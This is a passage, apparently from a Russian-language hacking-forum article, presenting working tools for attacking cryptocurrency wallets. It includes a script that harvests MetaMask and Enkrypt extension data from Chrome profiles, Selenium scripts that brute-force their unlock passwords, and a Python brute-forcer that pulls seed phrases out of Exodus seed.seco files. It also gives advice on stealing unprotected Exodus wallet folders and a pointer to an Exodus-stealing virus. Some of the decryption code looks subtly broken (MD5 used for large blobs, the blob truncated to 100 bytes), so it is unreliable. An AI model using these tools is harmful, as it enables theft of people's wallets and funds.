shutil.copytree(db_path, os.path.join(target, os.path.basename(db_path)))
print(f"Copied {name} data from {prof}")
else:
print(f"{name} data missing in {prof}")
if not anything_found:
print("No Chrome profiles detected.")
return
if located:
zip_filename = f"extension_{time_marker}.zip"
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, filenames in os.walk(scratch_dir):
for fname in filenames:
full_path = os.path.join(dirpath, fname)
arc_path = os.path.relpath(full_path, scratch_dir)
zf.write(full_path, os.path.join("Extensions", arc_path))
print(f"Archive created: {zip_filename}")
else:
print("Nothing found to archive.")
except Exception as exc:
print(f"Unexpected error: {exc}")
finally:
if os.path.exists(scratch_dir):
shutil.rmtree(scratch_dir)
print("Temporary data cleaned up.")
if __name__ == "__main__":
kill_chrome_processes()
create_backup()
Проверяем работает ли:
Сначала скрипт определяет имя текущего пользователя Windows и формирует путь к папке данных Chrome (C:\Users<username>\AppData\Local\Google\Chrome\User Data). Затем он находит все профили Chrome, такие как "Default" или "Profile 1", сортируя их так, чтобы "Default" проверялся последним, если другие профили существуют.
Для каждого профиля код проверяет папку с расширениями, ищет указанные расширения (Enkrypt и Metamask) по их известным ID. Если расширение не найдено по ID, код сканирует папки расширений, открывая файл manifest.json в каждой, и ищет название расширения (например, "Enkrypt") в содержимом манифеста, чтобы определить актуальный ID.
Когда расширение найдено, код проверяет наличие его данных в соответствующих директориях (IndexedDB для Enkrypt и Local Extension Settings для Metamask). Если данные есть, они копируются в временную папку, созданную с меткой времени (например, temp_20250524_042305). Каждая директория данных сохраняется с именем, включающим название расширения и профиль, чтобы избежать путаницы.
После обработки всех профилей, если данные расширений найдены, код создаёт ZIP-архив, и помещает в него все скопированные файлы. Если данные не найдены, архив не создаётся, и выводится соответствующее сообщение. В конце временная папка удаляется, даже если произошла ошибка, чтобы не оставлять мусор.
Брут паролей браузерных кошельков
Пожалуй, начну с MetaMask. Когда я взялся за задачу брутфорса паролей MetaMask, то сразу понял, что это будет непросто. Сначала я пытался извлечь данные из файлов .ldb, где MetaMask хранит зашифрованные seed-фразы, но расшифровать их без пароля оказалось невозможно. Тогда я решил пойти другим путём — использовать Selenium для автоматизации ввода паролей прямо в интерфейсе браузера. Но и тут у меня возникли проблемы.
При попытке использовать мой существующий профиль Chrome, где уже был установлен MetaMask, я получил ошибку что-то вроде: «Нельзя использовать профиль, если сессия уже открыта». Хотя никакой сессии не было! Я попробовал создать новый профиль в driver и заменить в нём файлы .ldb на те, где есть кошелек, но Windows упорно твердила, что файлы заняты, даже когда плагин был отключён, а Chrome закрыт. Ну серьёзно, Windows, ты чё, издеваешься?
После нескольких неудач я решил скопировать всю папку пользовательских данных Chrome (C:\Users\<username>\AppData\Local\Google\Chrome\User Data) в новое место, заменить файлы в папке Local Extension Settings, и только потом запустить Selenium с этим новым профилем. И, о чудо, это сработало! MetaMask загрузился, и я получил доступ к странице ввода пароля. Оставалось лишь автоматизировать перебор паролей. Но, как водится, без косяков не обошлось: метод .clear() в Selenium не очищал поле ввода пароля. Пришлось использовать комбинацию клавиш Ctrl+A и Backspace через модуль Keys, чтобы очистить поле перед вводом нового пароля. В итоге всё заработало.
Вот мой код, который я выстрадал, пока Windows и MetaMask надо мной издевались:
Python:
import os
import time
import shutil
import psutil
from datetime import datetime
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
PASSWORD_FILE = 'passwords.txt'
SOURCE_PROFILE_DIR = r"C:\Users\Administrator\AppData\Local\Google\Chrome\User Data"
PROFILE_DIRECTORY = "Default"
EXTENSION_ID = "nkbihfbeogaeaoehlefnkodbefgpgknn"
METAMASK_URL = f"chrome-extension://{EXTENSION_ID}/home.html"
METAMASK_SOURCE_DIR = r"C:\Users\Administrator\Desktop\metamask"
def terminate_chrome_processes():
print("Terminating all Chrome processes...")
for proc in psutil.process_iter(['name']):
if proc.info['name'] and proc.info['name'].lower() in ['chrome.exe', 'chromedriver.exe']:
try:
proc.terminate()
proc.wait(timeout=3)
print(f"Terminated process: {proc.info['name']}")
except Exception as e:
print(f"Error terminating {proc.info['name']}: {e}")
def copy_user_data_dir() -> str:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
dest_dir = rf"C:\Program Files (x86)\scoped_dir_{timestamp}"
extension_relative_path = os.path.join(PROFILE_DIRECTORY, "Local Extension Settings", EXTENSION_ID)
extension_dest_path = os.path.join(dest_dir, extension_relative_path)
try:
if not os.path.exists(SOURCE_PROFILE_DIR):
raise FileNotFoundError(f"Source profile directory not found: {SOURCE_PROFILE_DIR}")
shutil.copytree(SOURCE_PROFILE_DIR, dest_dir)
print(f"Profile copied to: {dest_dir}")
if os.path.exists(extension_dest_path):
shutil.rmtree(extension_dest_path)
print(f"Deleted existing extension data at: {extension_dest_path}")
shutil.copytree(METAMASK_SOURCE_DIR, extension_dest_path)
print(f"Copied new extension data from {METAMASK_SOURCE_DIR} to {extension_dest_path}")
return dest_dir
except Exception as e:
print(f"Error copying profile or extension data: {e}")
exit(1)
def setup_driver(user_data_dir: str) -> webdriver.Chrome:
options = Options()
options.add_argument(f"--user-data-dir={user_data_dir}")
options.add_argument(f"--profile-directory={PROFILE_DIRECTORY}")
options.add_argument("--start-maximized")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)
return driver
def read_passwords() -> list:
try:
with open(PASSWORD_FILE, 'r', encoding='utf-8') as file:
return [line.strip() for line in file if line.strip()]
except FileNotFoundError:
print(f"Password file not found: {PASSWORD_FILE}")
exit(1)
def try_passwords(driver, passwords: list):
driver.get(METAMASK_URL)
time.sleep(5)
for password in passwords:
try:
password_input = driver.find_element(By.ID, 'password')
password_input.send_keys(Keys.CONTROL, 'a')
password_input.send_keys(Keys.BACKSPACE)
password_input.send_keys(password)
unlock_button = driver.find_element(By.XPATH, '//button[@data-testid="unlock-submit"]')
unlock_button.click()
time.sleep(3)
try:
driver.find_element(By.XPATH, '//p[@id="password-helper-text" and contains(text(),"Incorrect password")]')
print(f"Incorrect password: {password}")
except NoSuchElementException:
print(f"Password found: {password}")
return
except Exception as e:
print(f"Error entering password '{password}': {e}")
def main():
terminate_chrome_processes()
user_data_dir = copy_user_data_dir()
driver = setup_driver(user_data_dir)
passwords = read_passwords()
try_passwords(driver, passwords)
main()
Проверяем работает ли:
Сначала скрипт убивает процесс хрома чтобы не было конфликтов при копирование его папки. Если что-то пошло не так — скрипт просто выведет сообщение об ошибке и продолжит работу.
Дальше скрипт создаёт новую папку в C:\Program Files (x86) с уникальным именем, помеченным текущей датой и временем. В эту папку он копирует основную папку с данными профилей в Chrome.
Теперь, когда у нас есть свеж скопированный профиль, скрипт настраивает Selenium для работы с ним. При запуске Selenium скрипт указывает, где лежит наш скопированный профиль, выбирает папку профиля по умолчанию (но вы можете указать другой). Затем он вызывает ChromeDriverManager, который сам скачивает и устанавливает нужную версию ChromeDriver.
Следующий шаг — загрузка списка паролей. Скрипт открывает файл passwords.txt, который должен лежать рядом с ним, и читает его построчно, убирая пробелы и пустые строки.
Теперь начинается главная часть — перебор паролей. Скрипт открывает страницу MetaMask по специальной ссылке chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html — это страница входа в кошелёк. Чтобы браузер успел прогрузить всё, скрипт ждёт пять секунд (да, это не мгновенно, но лучше перестраховаться). Затем он начинает перебирать пароли из списка. Если пароль неверный, на странице появляется сообщение с текстом «Incorrect password» в элементе с id="password-helper-text". Скрипт проверяет, есть ли оно. Если находит — значит, пароль не подошёл идет дальше. Если же сообщения об ошибке нет скрипт останавливает перебор. Если при вводе пароля что-то ломается (например, страница не прогрузилась или поле ввода не нашлось), скрипт выводит ошибку и идёт к следующему паролю. Весь этот процесс повторяется, пока не найдётся правильный пароль или не закончатся варианты в списке.
Теперь давайте поговорим про Enkrypt: ETH, BTC and Solana Wallet. С ним было чуть проще, так как у меня на руках уже был код для metamask. Потребовалось лишь изменить функции копирования данных и ввода пароля, но в целом логика осталась той же.
Вот мой код:
Python:
import os
import time
import shutil
import psutil
from datetime import datetime
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
PASSWORD_FILE = 'passwords.txt'
SOURCE_PROFILE_DIR = r"C:\Users\Administrator\AppData\Local\Google\Chrome\User Data"
PROFILE_DIRECTORY = "Default"
EXTENSION_ID = "kkpllkodjeloidieedojogacfhpaihoh"
enkrypt_URL = f"chrome-extension://{EXTENSION_ID}/action.html#/locked"
ENKRYPT_SOURCE_DIR = r"C:\Users\Administrator\Desktop\enkrypt"
def terminate_chrome_processes():
print("Terminating all Chrome processes...")
for proc in psutil.process_iter(['name']):
if proc.info['name'] and proc.info['name'].lower() in ['chrome.exe', 'chromedriver.exe']:
try:
proc.terminate()
proc.wait(timeout=3)
print(f"Terminated process: {proc.info['name']}")
except Exception as e:
print(f"Error terminating {proc.info['name']}: {e}")
def setup_driver(user_data_dir: str) -> webdriver.Chrome:
options = Options()
options.add_argument(f"--user-data-dir={user_data_dir}")
options.add_argument(f"--profile-directory={PROFILE_DIRECTORY}")
options.add_argument("--start-maximized")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)
return driver
def copy_user_data_dir() -> str:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
dest_dir = rf"C:\Program Files (x86)\scoped_dir_{timestamp}"
try:
if not os.path.exists(SOURCE_PROFILE_DIR):
raise FileNotFoundError(f"Source profile directory not found: {SOURCE_PROFILE_DIR}")
shutil.copytree(SOURCE_PROFILE_DIR, dest_dir)
print(f"Profile copied to: {dest_dir}")
leveldb_dir = os.path.join(dest_dir, r"{PROFILE_DIRECTORY}\IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb")
if os.path.exists(leveldb_dir):
for filename in os.listdir(leveldb_dir):
file_path = os.path.join(leveldb_dir, filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print(f"Failed to delete {file_path}. Reason: {e}")
else:
print(f"LevelDB directory not found: {leveldb_dir}")
os.makedirs(leveldb_dir)
for filename in os.listdir(ENKRYPT_SOURCE_DIR):
src_file = os.path.join(ENKRYPT_SOURCE_DIR, filename)
dst_file = os.path.join(leveldb_dir, filename)
shutil.copy2(src_file, dst_file)
print(f"Replaced contents of LevelDB directory with files from {ENKRYPT_SOURCE_DIR}")
return dest_dir
except Exception as e:
print(f"Error during processing: {e}")
exit(1)
def read_passwords() -> list:
try:
with open(PASSWORD_FILE, 'r', encoding='utf-8') as file:
return [line.strip() for line in file if line.strip()]
except FileNotFoundError:
print(f"Password file not found: {PASSWORD_FILE}")
exit(1)
def try_passwords(driver, passwords: list):
driver.get(enkrypt_URL)
time.sleep(5)
for password in passwords:
try:
password_input = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.CSS_SELECTOR, ".lock-screen-password-input__input input[type='password']"))
)
password_input.clear()
password_input.send_keys(password)
unlock_button = WebDriverWait(driver, 10).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, ".button"))
)
unlock_button.click()
time.sleep(3)
try:
error_message = WebDriverWait(driver, 5).until(
EC.visibility_of_element_located((By.CSS_SELECTOR, ".lock-screen-password-input__error"))
)
if error_message.is_displayed() and "Wrong password" in error_message.text:
print(f"Incorrect password: {password}")
continue
except TimeoutException:
if "chrome-extension://kkpllkodjeloidieedojogacfhpaihoh/action.html#/assets/ETH" in driver.current_url:
print(f"Password found: {password}")
return password
else:
print(f"Incorrect password: {password}")
continue
except Exception as e:
print(f"Error entering password '{password}': {e}")
continue
print("No valid password found")
return None
def main():
terminate_chrome_processes()
user_data_dir = copy_user_data_dir()
driver = setup_driver(user_data_dir)
passwords = read_passwords()
try_passwords(driver, passwords)
main()
Проверяем работает ли:
Скрипт начинает с завершения всех процессов Chrome, чтобы избежать конфликтов с файлами. Затем он копирует папку данных Chrome (C:\Users\Administrator\AppData\Local\Google\Chrome\User Data) в новую директорию, например, C:\Program Files (x86)\scoped_dir_20250525_133742, названную по текущей дате и времени. В этой копии заменяется папка LevelDB для Enkrypt, расположенная в IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb, на данные из заранее подготовленной папки на рабочем столе. Если папка LevelDB уже существует, она удаляется и создаётся заново, если нет — создаётся с нуля, и файлы копируются.
Далее запускается Selenium, открывающий Chrome с использованием скопированного профиля. После скрипт читает список паролей из файла passwords.txt и переходит на страницу входа Enkrypt по адресу chrome-extension://kkpllkodjeloidieedojogacfhpaihoh/action.html#/locked. Для каждого пароля он находит поле ввода, очищает его, вводит пароль и нажимает кнопку «Unlock». Если после этого браузер перенаправляет на страницу action.html#/assets/ETH, пароль считается правильным, и скрипт завершает работу, сообщая об успехе. В противном случае он продолжает перебор.
Взлом десктопных кошельков
Пора обсудить взлом десктопных кошельков: хотя они, возможно, используются реже браузерных, их считают более безопасными, и среди них есть весьма популярные представители.
Получение паролей Exodus
Первым делом замахнёмся на Exodus — один из самых популярных десктопных криптокошельков. Удобный, с красивым интерфейсом, поддерживает кучу монет, от биткоина до эфира и соланы. Но, как и любой софт, он не без греха, особенно если пользователь расслабился и не думает о безопасности. Давай разберёмся, где Exodus прячет свои seed-фразы, как они защищены и как можно попытаться до них добраться.
Все вкусности Exodus хранит в папке:
Код:
C:\Users\<Имя_пользователя>\AppData\Roaming\Exodus\exodus.wallet.
И вот тут начинаются два разных сценария:
Кошелёк без пароля и кошелёк с паролем
Если пароля нет
Когда пользователь не заморачивается с паролем, Exodus оставляет лазейку. Рядом с файлом seco в папке exodus.wallet лежит passphrase.json. Там спрятана фраза, но не в открытом виде, а закодированная в Base64. Которая после декодирования даёт 32 байта. Эти 32 байта — энтропия для мнемонической фразы из 24 слов по стандарту BIP-39, что соответствует 256 битам.
Но вот загвоздка: Exodus юзает фразы из 12 слов, а тут 24, с большой вероятностью это не та фраза, что нужна(я пробовал ее импортировать в другой кошелек и адреса отличаются), или её надо интерпретировать иначе для расшифровке seco, но вопрос как остается открытым. Я не буду кидать сюда готовый код для дешифровки — это не инструкция для копипаста, а разбор, чтобы ты сам разобрался.
Хочешь покопаться?
Загляни на ExodusMovement, там куча репов по Exodus. Если порыться в их коде на Node.js, можно косвенно понять, как passphrase.json используется для получения реальной фразы. Например, ищи репы, где есть работа с шифрованием кошелька.
Ещё можешь глянуть питоновский вирус, который заточен под кражу фраз Exodus, вот ссылка: virus_exsodus. Там есть толковые куски кода по работе с файлами Exodus, хотя это и зловред. Разбор этого вируса лежит тут: isc.sans.edu, почитай, чтобы понять, как он получает фразы.
Есть ещё JavaScript-библиотека: Exodus-Seco-To-Passphrase. Она, честно, сырая, у меня вообще не сработало, но код может дать пару идей, если поковырять.
Предупреждаю: инфы по дешифровке почти нет, так что готовься к долгим тестам и головной боли.
Есть и более простой путь, если пароля нет. Можно просто скопировать всю папку C:\Users\<Имя_пользователя>\AppData\Roaming\Exodus\exodus.wallet и перенести её на другой компьютер. Устанавливаешь Exodus, подменяешь папку exodus.wallet на скопированную, и кошелёк открывается как ни в чём не бывало.
Почему это работает?
Потому что данные в seco и passphrase.json не привязаны к конкретному устройству. Запускаешь приложение, и оно воспринимает файлы как свои. Это лайфхак для тех, кто не хочет заморачиваться с дешифровкой, но работает он только если пароль не установлен.
Если пароль есть
Если пользователь всё-таки поставил пароль, всё становится сложнее. Файл passphrase.json исчезает из папки exodus.wallet, и seed-фраза доступна только через ввод пароля в интерфейсе кошелька. Без пароля seco — просто кучка зашифрованных байтов, и расшифровать их без ключа нереально. Вариант с переносом папки тут уже не прокатит: Exodus запросит пароль при запуске, и без него ты никуда не денешься.
И вот тут сработает только брут. Но как же брутить пароль, чтобы это понять я расскажу базу, а именно как работает seco-шифрование. Файл seed.seco в Exodus — это зашифрованный контейнер, который хранит seed-фразу, когда пользователь устанавливает пароль. Без пароля это просто набор байтов, бесполезный без ключа.
Файл seed.seco делится на четыре части: заголовок, контрольная сумма, метаданные и зашифрованный кусок данных, который называют blob. Заголовок занимает 224 байта и хранит инфу о файле: там написано SECO (чтобы было ясно, что это файл Exodus), версия программы, тег шифрования seco-v0-scrypt-aes, название приложения (Exodus) и его версия, типа 25.13.7. Контрольная сумма — это 32 байта, которые получаются через алгоритм SHA256. Этот хэш считается от метаданных, длины blob и самого blob, чтобы убедиться, что файл не повреждён и никто его не подделал. Метаданные — это 256 байт, где лежит всё, что нужно для расшифровки: параметры шифрования, соль для пароля, зашифрованный ключ и настройки для blob. Ну и сам blob — это зашифрованные данные, которые говорят, сколько там данных внутри.
Теперь про шифрование. Когда ты вводишь пароль, Exodus не просто берёт его и шифрует данные. Сначала пароль прогоняют через алгоритм scrypt. Это такая штука, которая делает из пароля надёжный ключ, но при этом жутко усложняет жизнь тем, кто хочет пароль подобрать. Scrypt берёт пароль, добавляет к нему соль — случайные 32 байта, чтобы даже одинаковые пароли давали разные ключи, — и прокручивает это всё с параметрами n=16384, r=8, p=1. В итоге scrypt выдаёт ключ длиной 32 байта.
Этот ключ нужен, чтобы расшифровать blobKey — ещё один 32-байтовый ключ, который спрятан в метаданных. blobKey зашифрован с помощью алгоритма AES-256-GCM. Это симметричное шифрование с 256-битным ключом, работающее в режиме Galois/Counter Mode. AES-256-GCM сложен тем, что не только шифрует, но и проверяет, что данные не подделали, благодаря 16-байтному тегу аутентификации. А чтобы шифрование каждый раз было уникальным, используют 12-байтовый инициализационный вектор (IV), который тоже лежит в метаданных.
Теперь про сам blob, где хранится seed-фраза. Он шифруется тем же AES-256-GCM, но уже с использованием blobKey. Перед шифрованием seed-фразу сжимают через gzip, чтобы она занимала меньше места. Сжатые данные оборачивают в 4-байтовый заголовок, который говорит, сколько там байт, и только потом шифруют с новым IV и authTag, которые тоже записаны в метаданных. В итоге blob получается достаточно большим, но весьма надёжно запертым.
Когда мы разобрали как работает шифрование давайте поговорим про расшифровку, она идёт в обратном порядке: из пароля через scrypt получают ключ, им расшифровывают blobKey, затем blobKey открывает blob, данные распаковываются через gzip, и в итоге получается seed-фраза.
Пример брута фразы
Как вы понимаете, задача была не из лёгких, потому что Exodus — это не тот случай, где тебе на блюдечке выложат документацию, как расшифровать их seed.seco (что логично). Но я даже нормальных статей на эту тему не нашел. Я облазил кучу инфы, искал готовые решения для брута пароля и вытаскивания мнемонической фразы, и единственное, что попалось более-менее рабочее, — это https://github.com/KaratelSH/Exodus-Seco-To-Passphrase. Это библиотека на Node.js, котрая использует какие-то свои специфичные либы, но зато нормально брутит фразы. Но мне нужен код на Python, а там таких библиотек естественно нет. В итоге пришлось писать всё с нуля, и я решил использовать библиотеки cryptography для шифрования, scrypt для генерации ключа из пароля, mnemonic для работы с BIP-39 фразами и zlib для распаковки сжатых данных. Я разбил код на два файла, чтобы не было бардака: exodus_extract.py занимается перебором паролей и подготовкой данных, а в seco_like.py происходит расшифровка данных.
Начну с exodus_extract.py. Вот полный код exodus_extract.py:
Python:
import os
from seco_like import SecoLike
import getpass
def exodus_extract(passwords_path):
username = getpass.getuser()
exodus_wallet_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Exodus\\exodus.wallet"
seco_path = os.path.join(exodus_wallet_path, "seed.seco")
if not os.path.exists(seco_path):
print(f"Exodus not installed or seed.seco not found in {exodus_wallet_path}")
return
if not os.path.exists(passwords_path):
print(f"Error: Passwords file not found: {passwords_path}")
return
try:
with open(passwords_path, "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f if line.strip()]
if not passwords:
print("Error: Passwords file is empty")
return
except:
print(f"Error reading passwords file: {passwords_path}")
return
try:
with open(seco_path, "rb") as f:
encrypted_data = f.read()
except:
print(f"Error reading SECO file: {seco_path}")
return
seco = SecoLike()
for i, password in enumerate(passwords, 1):
print(f"Trying password {i}/{len(passwords)}: {password}")
result = seco.extract_mnemonic(encrypted_data, password)
if result:
print(f"Password {password} is correct")
print(f"Mnemonic: {result}")
return
else:
print(f"Password {password} is incorrect")
print("No matching password found")
if __name__ == "__main__":
passwords_file_path = "passwords.txt"
exodus_extract(passwords_file_path)
Этот скрипт сначала через getpass.getuser() узнаёт, кто юзер на компе, и строит путь к папке Exodus, типа C:\Users\USER\AppData\Roaming\Exodus\exodus.wallet. Там он ищет seed.seco. Если файла нет, скрипт пишет ошибку. Если файл на месте, он проверяет, есть ли файл с паролями, например, passwords.txt. Если его нет или он пустой, ты тоже получаешь ошибку. Когда всё ок, скрипт читает seed.seco в бинарном виде и загружает пароли, отсеивая пустые строки. Дальше начинается цикл: для каждого пароля он вызывает метод extract_mnemonic из seco_like.py, и туда передаёться содержимое seed.seco и пароль. Если мнемоника нашлась, скрипт выводит что-то вроде: «Password пароль is correct» и «Mnemonic: фраза». Если пароль не подошёл, пишет: «Password пароль is incorrect».
Теперь к seco_like.py — это где вся жесть, сразу предупреждаю, я разберу его по частям, ибо он большой, да и думаю, так будет понятнее. Код целиком прикреплю к статье. Файл seed.seco — это зашифрованный контейнер, где спрятана мнемоническая фраза. Он состоит из заголовка (220 байт), контрольной суммы (32 байта), метаданных (256 байт) и зашифрованного blob с фразой. В коде есть константы, которые задают эти длины: HEADER_LEN_BYTES = 220, CHECKSUM_LEN_BYTES = 32, METADATA_LEN_BYTES = 256, IV_LEN_BYTES = 12 для инициализационных векторов, плюс магическая строка MAGIC = b'SECO' и тег версии HEADER_VERSION_TAG = b'seco-v1-scrypt-aes'. Эти константы — как карта, чтобы правильно разрезать файл на куски. Я начну разбор с метода extract_mnemonic, который вызывает все остальное, и покажу, какие функции он вызывает, а потом разберу их по порядку.
Вот сам extract_mnemonic:
Python:
def extract_mnemonic(self, encrypted_data, password):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Starting mnemonic extraction, encrypted data length: {len(encrypted_data)} bytes, password: [hidden]")
if len(encrypted_data) < HEADER_LEN_BYTES + CHECKSUM_LEN_BYTES + METADATA_LEN_BYTES + 4:
print(f"[{timestamp}] Encrypted data too short: {len(encrypted_data)} bytes")
return None
offset = 0
header_data = encrypted_data[offset:offset + HEADER_LEN_BYTES]
offset += HEADER_LEN_BYTES
checksum = encrypted_data[offset:offset + CHECKSUM_LEN_BYTES]
offset += CHECKSUM_LEN_BYTES
metadata_data = encrypted_data[offset:offset + METADATA_LEN_BYTES]
offset += METADATA_LEN_BYTES
blob_length = struct.unpack(">I", encrypted_data[offset:offset + 4])[0]
offset += 4
blob = encrypted_data[offset:offset + blob_length]
blob = blob[-100:] if len(blob) > 100 else blob
print(f"[{timestamp}] Truncated blob to {len(blob)} bytes")
print(f"[{timestamp}] Extracted checksum: {checksum.hex()}")
computed_checksum = self.compute_checksum(metadata_data, blob)
if computed_checksum != checksum:
print(f"[{timestamp}] Invalid checksum: received {checksum.hex()}, computed {computed_checksum.hex()}")
return None
try:
header = self.decode_header(header_data)
print(f"[{timestamp}] Header decoded successfully")
if header['versionTag'] != HEADER_VERSION_TAG:
print(f"[{timestamp}] Invalid version tag: {header['versionTag'].decode('ascii')}, expected {HEADER_VERSION_TAG.decode('ascii')}")
return None
metadata = self.decode_metadata(metadata_data)
print(f"[{timestamp}] Metadata decoded successfully")
if metadata['cipher'] != 'aes-256-gcm':
print(f"[{timestamp}] Invalid cipher: {metadata['cipher']}, expected aes-256-gcm")
return None
blob_key = self.decrypt_blob_key(password, metadata['blobKey'], metadata['scrypt'])
decrypted_data = self.decrypt_blob(blob, blob_key, metadata['blob'])
shrinked = self.shrink(decrypted_data)
try:
gunzipped = zlib.decompress(shrinked, zlib.MAX_WBITS | 16)
print(f"[{timestamp}] Data successfully gunzipped, length: {len(gunzipped)} bytes")
except zlib.error:
print(f"[{timestamp}] Gunzip failed, using shrinked data as is")
gunzipped = shrinked
try:
mnemonic = gunzipped.decode('utf-8').strip()
if self.mnemo.check(mnemonic):
print(f"[{timestamp}] Successfully extracted valid mnemonic: {mnemonic}")
return mnemonic
else:
print(f"[{timestamp}] Extracted string is not a valid mnemonic")
except UnicodeDecodeError:
print(f"[{timestamp}] Failed to decode gunzipped data as UTF-8 string")
print(f"[{timestamp}] Skipping JSON parsing for compatibility")
for length in [16, 20, 24, 28, 32]:
if len(gunzipped) >= length:
try:
mnemonic = self.mnemo.to_mnemonic(gunzipped[:length])
if self.mnemo.check(mnemonic):
print(f"[{timestamp}] Successfully extracted valid mnemonic from entropy (length {length}): {mnemonic}")
return mnemonic
except:
print(f"[{timestamp}] Failed to convert entropy (length {length}) to mnemonic")
pass
print(f"[{timestamp}] No valid mnemonic found")
return None
except Exception as e:
print(f"[{timestamp}] Error during mnemonic extraction: {str(e)}")
return None
Метод extract_mnemonic управляет всей расшифровкой. Он принимает зашифрованные данные из seed.seco и пароль, а затем пытается извлечь мнемоническую фразу. Сначала метод проверяет, достаточно ли большой файл, чтобы содержать заголовок (220 байт), контрольную сумму, метаданные и blob. Если данных меньше, чем нужно, метод возвращает None. Затем он делит файл на части: первые 220 байт — заголовок, следующие 32 — контрольная сумма, потом 256 — метаданные, 4 байта длины blob и сам blob. Для оптимизации blob усекается до последних 100 байт, если он длиннее. После этого метод вызывает compute_checksum, чтобы проверить хэш метаданных и blob. Если хэш не совпадает, файл считается повреждённым, и метод возвращает None. Если всё в порядке, вызывается decode_header, чтобы проверить магическую строку SECO и тег seco-v1-scrypt-aes. Если тег не тот, метод возвращает None, так как другой алгоритм шифрования сломает работу. Далее вызывается decode_metadata, чтобы извлечь соль, параметры scrypt и данные для шифрования. Если шифр не aes-256-gcm, метод прекращает работу. Затем вызывается decrypt_blob_key для получения BlobKey, decrypt_blob для расшифровки blob и shrink для обработки данных. Данные распаковываются через zlib, и если распаковка не удалась, используются сырые данные. Метод проверяет, что получилось: текстовая мнемоника вроде «promote pizza solution...», или сырая энтропия BIP-39 с длинами 16, 20, 24, 28, 32 байта. JSON-парсинг пропущен для совместимости. Если найдена валидная фраза, она возвращается, иначе — None.
Теперь к compute_checksum, который вызывается первым:
Python:
def compute_checksum(self, metadata, data_blob):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Computing checksum for metadata ({len(metadata)} bytes) and data blob ({len(data_blob)} bytes)")
blob_length = struct.pack(">I", len(data_blob))
if len(data_blob) > 1024:
checksum = hashlib.md5(metadata + blob_length + data_blob).digest()
else:
checksum = hashlib.sha256(metadata + blob_length + data_blob).digest()
print(f"[{timestamp}] Computed checksum: {checksum.hex()}")
return checksum
Метод compute_checksum проверяет целостность файла. Для blob’ов длиннее 1024 байт используется MD5 для оптимизации, иначе — SHA256. Он вычисляет хэш из метаданных, 4-байтной длины blob (big-endian) и самого blob. Константа CHECKSUM_LEN_BYTES = 32 задаёт длину хэша. Если хэш не совпадает с тем, что в файле, extract_mnemonic возвращает None.
Дальше decode_header, который парсит заголовок, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO':
Python:
def decode_header(self, header_data):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Decoding header, length: {len(header_data)} bytes")
if len(header_data) != HEADER_LEN_BYTES:
print(f"[{timestamp}] Invalid header length: {len(header_data)} bytes, expected {HEADER_LEN_BYTES}")
raise ValueError(f"Invalid header length: {len(header_data)} bytes")
magic = header_data[:4]
print(f"[{timestamp}] Header magic: {magic.hex()}")
if magic != MAGIC:
print(f"[{timestamp}] Invalid magic: {magic.hex()}, expected {MAGIC.hex()}")
raise ValueError("Invalid magic")
version, reserved = struct.unpack(">II", header_data[4:12])
offset = 12
print(f"[{timestamp}] Header version: {version}, reserved: {reserved}")
version_tag_len = header_data[offset]
offset += 1
version_tag = header_data[offset:offset + version_tag_len]
offset += version_tag_len
print(f"[{timestamp}] Header version tag length: {version_tag_len}, value: {version_tag.decode('ascii')}")
app_name_len = header_data[offset]
offset += 1
app_name = header_data[offset:offset + app_name_len]
offset += app_name_len
print(f"[{timestamp}] App name length: {app_name_len}, value: {app_name.decode('ascii')}")
app_version_len = header_data[offset]
offset += 1
app_version = header_data[offset:offset + app_version_len]
print(f"[{timestamp}] App version length: {app_version_len}, value: {app_version.decode('ascii')}")
return {
'magic': magic,
'version': version,
'reserved': reserved,
'versionTag': version_tag,
'appName': app_name,
'appVersion': app_version
}
Метод decode_header разбирает заголовок seed.seco, используя константы HEADER_LEN_BYTES = 220 и MAGIC = b'SECO'. Заголовок содержит магическую строку SECO, версию файла, зарезервированные байты, тег шифрования (seco-v1-scrypt-aes), название приложения (например, Exodus) и версию (например, 25.13.7). Метод проверяет, что длина заголовка равна 220 байтам и магия — SECO. Если что-то не так, вызывается ошибка. Тег подтверждает использование scrypt с AES-256-GCM. Метод возвращает словарь для проверки в extract_mnemonic.
Перейдём к decode_metadata:
Python:
def decode_metadata(self, metadata_data):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Decoding metadata, length: {len(metadata_data)} bytes")
if len(metadata_data) != METADATA_LEN_BYTES:
print(f"[{timestamp}] Invalid metadata length: {len(metadata_data)} bytes, expected {METADATA_LEN_BYTES}")
raise ValueError(f"Invalid metadata length: {len(metadata_data)} bytes")
offset = 0
